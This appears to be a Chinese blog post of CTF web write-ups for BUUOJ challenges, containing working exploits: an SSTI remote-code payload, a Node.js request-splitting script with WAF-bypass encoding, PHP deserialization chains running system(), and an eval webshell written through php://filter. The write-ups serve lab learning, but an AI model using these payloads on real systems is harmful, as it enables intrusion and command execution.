BUUOJ-Web题目-13

[CISCN2019 华东南赛区]Double Secret

[watevrCTF-2019]Cookie Store

[GYCTF2020]Node Game

[GYCTF2020]EasyThinking

[强网杯 2019]Upload

[WMCTF2020]Make PHP Great Again

[WMCTF2020]Make PHP Great Again 2.0

[WMCTF2020]webcheckin

[WMCTF2020]Web Check in

[CISCN2019 华东南赛区]Web4

[CISCN2019 华东南赛区]Double Secret

就是一个页面,看上去没东西;用Burpsuite卡一下也没有显示。

扫描器试一下;扫描到了robots.txt

image.png

提示是安卓,所以这个可能是和Java的后台有关系;

然后不会了,去查题解知道有个目录是/secret,登一下

随便编造一下就挂了,观察错误信息

image.png

关键信息被泄露

image.png

然后上网找个RC4脚本,修改后使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import sys,os,hashlib,time,base64
import urllib.parse
class rc4:

def __init__(self,public_key = None):
self.public_key = public_key

def encode(self,string):
self.result = ''
self.docrypt(string)
self.result = urllib.parse.quote(self.result.encode("UTF-8"))
return self.result

def decode(self,string):
self.result = ''
string = urllib.parse.unquote(string)
self.docrypt(string)
return self.result

def docrypt(self,string):
string_lenth = len(string)
result = ''
box = list(range(256))
randkey = []
key_lenth = len(self.public_key)

for i in range(256):
randkey.append(ord(self.public_key[i % key_lenth]))

j = 0
for i in range(256):
j = (j + box[i] + randkey[i]) % 256
box[i],box[j] = box[j],box[i]

a = j = 0
for i in range(string_lenth):
a = (a + 1) % 256
j = (j + box[a]) % 256
box[a],box[j] = box[j],box[a]
self.result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))

rc = rc4('HereIsTreasure')
temp = rc.encode("{{[]['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval'](\"__import__('os').popen('ls /').read()\")}}")
print(temp)

image.png

然后就是SSTI的标准方式

1
"{{[]['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval'](\"__import__('os').popen('tac /flag.txt').read()\")}}"

image.png

image.png

跟原题一样有过滤的话,只需要base64输出即可。

一个购买页面

image.png

买就完事了

image.png

Cookie被修改了,我们解密一下

image.png

改就完事了

image.png

[GYCTF2020]Node Game

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});

app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p> error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) =&gt; {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i &lt; arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}

var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})

然后就不会了,膜拜了一下题解后知道了新姿势:拆分请求大法

那么我可以把请求通过构造,弄成两个请求然后直接去拿到上传,然后利用action来进行SSRF

抄个exp;总之也可以用字符串拼接等方法绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests
import sys

payloadRaw = """x HTTP/1.1

POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1

-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="flag.pug"
Content-Type: ../template

- var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('evalcmd').toString()")
- return x
-----------------------------12837266501973088788260782942--


"""

def getParm(payload):
payload = payload.replace(" ","%C4%A0")
payload = payload.replace("\n","%C4%8D%C4%8A")
payload = payload.replace("\"","%C4%A2")
payload = payload.replace("'","%C4%A7")
payload = payload.replace("`","%C5%A0")
payload = payload.replace("!","%C4%A1")

payload = payload.replace("+","%2B")
payload = payload.replace(";","%3B")
payload = payload.replace("&","%26")

# Bypass Waf
payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")

return payload

def run(url,cmd):
payloadC = payloadRaw.replace("evalcmd",cmd)
urlC = url+"/core?q="+getParm(payloadC)
#print(getParm(payloadC))
rx = requests.get(urlC)
#print(rx.text)
return requests.get(url+"/?action=flag").text

if __name__ == '__main__':
targetUrl = 'http://f71b0533-d2ca-4e16-b23d-600f5f5799ae.node3.buuoj.cn'
cmd = 'cat /flag.txt'
print(run(targetUrl,cmd))

image.png

[GYCTF2020]EasyThinking

随便输错一下,发现这个是ThinkPHP 6.0系列的,所以我们用这个版本的漏洞。

然后不知道这个是啥漏洞,查了WP知道了。

复现一下

先是注册登录抓包

image.png

搜索写一句话

image.png

结果被disable

image.png

那么我们要想办法绕过

写个传统一句话,用蚁剑试试

测试用PHP7 Backtrace UAF可以做到

然后执行/readflag就能读取flag

image.png

[强网杯 2019]Upload

看起来是**Discuz!**平台的;

登录的时候经过了跳转,那个经典的笑脸图标很像是ThinkPHP系列的产物。

随便传个东西上去,发现传不上去;试试传个shell,显示为Forbidden Type

传个小图片就可以;我们思考是不是要传个小的图片型shell上去;

重新注册账号,上传,可以发现传能传上去,但是后缀名会被更改成png,无法正常使用;不过检查文件内容是没有问题的。

image.png

找到敏感文件www.tar.gz

然后不会了,查了一下分析

需要通过一个反序列化利用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace app\web\controller;

class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

}

class Register
{
public $checker;
public $registed;
}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/852aff287f54bca0ed7757a702913e50/af93955eaacfa5f296d1d021aa89b224.png";
$profile->filename = "../public/upload/852aff287f54bca0ed7757a702913e50/aaaa.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));
?>

image.png

image.png

[WMCTF2020]Make PHP Great Again

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

套足够多的娃,php就废了

1
http://caf2c2bf-10cc-4e47-bf3b-3dd0d0e22529.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=/proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/flag.php

image.png

image.png

[WMCTF2020]Make PHP Great Again 2.0

和上一题一样的套路,不过据说上一题有个条件竞争写入session的做法,我这个做法就通用一点,都行

[WMCTF2020]webcheckin

存在www.zip,下载看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');

// Load configuration
$f3->config('config.ini');

$f3->route('GET /',
function($f3) {
echo "just get me a,don't do anything else";
}
);
unserialize($_GET['a']);

$f3->run();

可能是框架漏洞,也有可能是原生类反序列化;不过原生类主要是获得cookie之类,结合这题没人做,所以猜测是框架漏洞。

不过框架文件实在是有些大了,所以我们全局搜索一些可以用的魔术方法,尝试找点东西;

首先是关键的启动函数__destruct,很多反序列化漏洞都是从这里起步;然后找到一个类Agent(只有这个类__destruct有东西),那么思考这个类在干啥

1
2
3
4
5
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}

观察一下,这个方法是判断一个东西能不能执行,然后能执行的话执行一个东西;

那么外壳确定是用Agent套了,然后内部选择合适的server变量来启动:首先得有events变量,方便操作;那么我们就发现了WS类存在,同时有一个东西叫read,所以我们可以尝试来读取内容(比如flag),。但是我们没办法控制上面Agent内部套出来的$this,所以这样搞就不对了。那么我们需要别的函数来进行操作;

然后不会了,查题解

找到了Mapper作为可控制__call的函数组合,那么我们来操作一下试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
namespace DB\SQL{
class Mapper{

//@{ Error messages
const
E_PKey='Table %s does not have a primary key';
//@}

protected
//! Dynamic properties
$props=[];
function __construct($p){
$this->props=$p;
}
}

}

namespace CLI{
class Agent {

protected
$server,
$socket;
function __construct($s,$s2){
$this->server=$s;
$this->socket=$s2;
}
}
class WS {

const
//! UUID magic string
Magic='258EAFA5-E914-47DA-95CA-C5AB0DC85B11',
//! Max packet size
Packet=65536;

//@{ Mask bits for first byte of header
const
Text=0x01,
Binary=0x02,
Close=0x08,
Ping=0x09,
Pong=0x0a,
OpCode=0x0f,
Finale=0x80;
//@}

//@{ Mask bits for second byte of header
const
Length=0x7f;
//@}

protected
$events=[];

function __construct($e){
$this->events=$e;
}
}
}

namespace {

class Basket{
public
$events=[];
function __construct($e){
$this->events=$e;
}
}
$A = new DB\SQL\Mapper(array('read'=>'system'));
$B = new CLI\Agent($A,'cat /etc/flagzaizheli');
$C = new Basket(array('disconnect'=>array($B,'fetch')));
$D = new CLI\Agent($C,'');
$E = new CLI\WS($D);
print_r(urlencode(serialize($E)));
}
?>

流程大致如下:先通过WS引入Agent,然后Agentserver存在events,从而执行disconnect带来的第一个参数类的fetch函数;这里数组比较奇妙,实验一下如下:

image.png

image.png

也就是Basket当成了类名,events是函数名。

然后这个events需要是public的,否则读取不了;

最后就是之前的套娃,这样就能够访问自定义可控函数了。

最终执行效果如下:

image.png

image.png

[WMCTF2020]Web Check in

很想吐槽这个相似的名字。。。

然后就很怪,我当初在打的时候用的直接读取这把就读取不了了。。。。

那就得想想办法了;我记得N1CTF2020里面有个套路,就是在用伪协议的时候套一个**<?php xxxxx,这样就可以奇妙的执行代码,把一道复杂的PHP**源文件凑命令变成了一道大水题;不过这个题目貌似不能这么搞;

不过我们可以用到一个技巧:弄几个过滤器,套起来之后就可以奇妙的过滤掉这个空格,然后就行了

1
php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=?><?php%0deval($_POST[cmd]);?>

这里必须要用%0d,否则会被过滤器过滤掉,之前那个exit的空格就是这么过滤的。

蚁剑连接拿flag

image.png

注:相同的操作方法有些时候会莫名其妙失败,挺奇怪的

[CISCN2019 华东南赛区]Web4

可以访问文件,url可以直接写入文件地址进行访问

先访问位置

1
2
3
http://4c2d125b-1cf7-4ec3-83d3-6fe8547b13dc.node3.buuoj.cn/read?url=/proc/self/cmdline

/usr/local/bin/python /app/app.py

然后读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# http://4c2d125b-1cf7-4ec3-83d3-6fe8547b13dc.node3.buuoj.cn/read?url=/app/app.py

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

伪随机数,执行了命令uuid.getnode(),观察执行方法

image.png

观察实际上是执行了啥

image.png

实际上是通过MAC地址确定的值,我们找个办法读取

1
2
3
http://a107fa09-2f4c-4520-acb1-de6b4aa62baf.node3.buuoj.cn/read?url=/sys/class/net/eth0/address

02:42:ac:10:9a:38

image.png

使用这个工具来进行解密

image.png

修正一下,改成合适的username重写;

image.png

替换掉Cookie后得到答案。

image.png


BUUOJ-Web题目-13
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-13
Author
John Doe
Posted on
January 3, 2021
Licensed under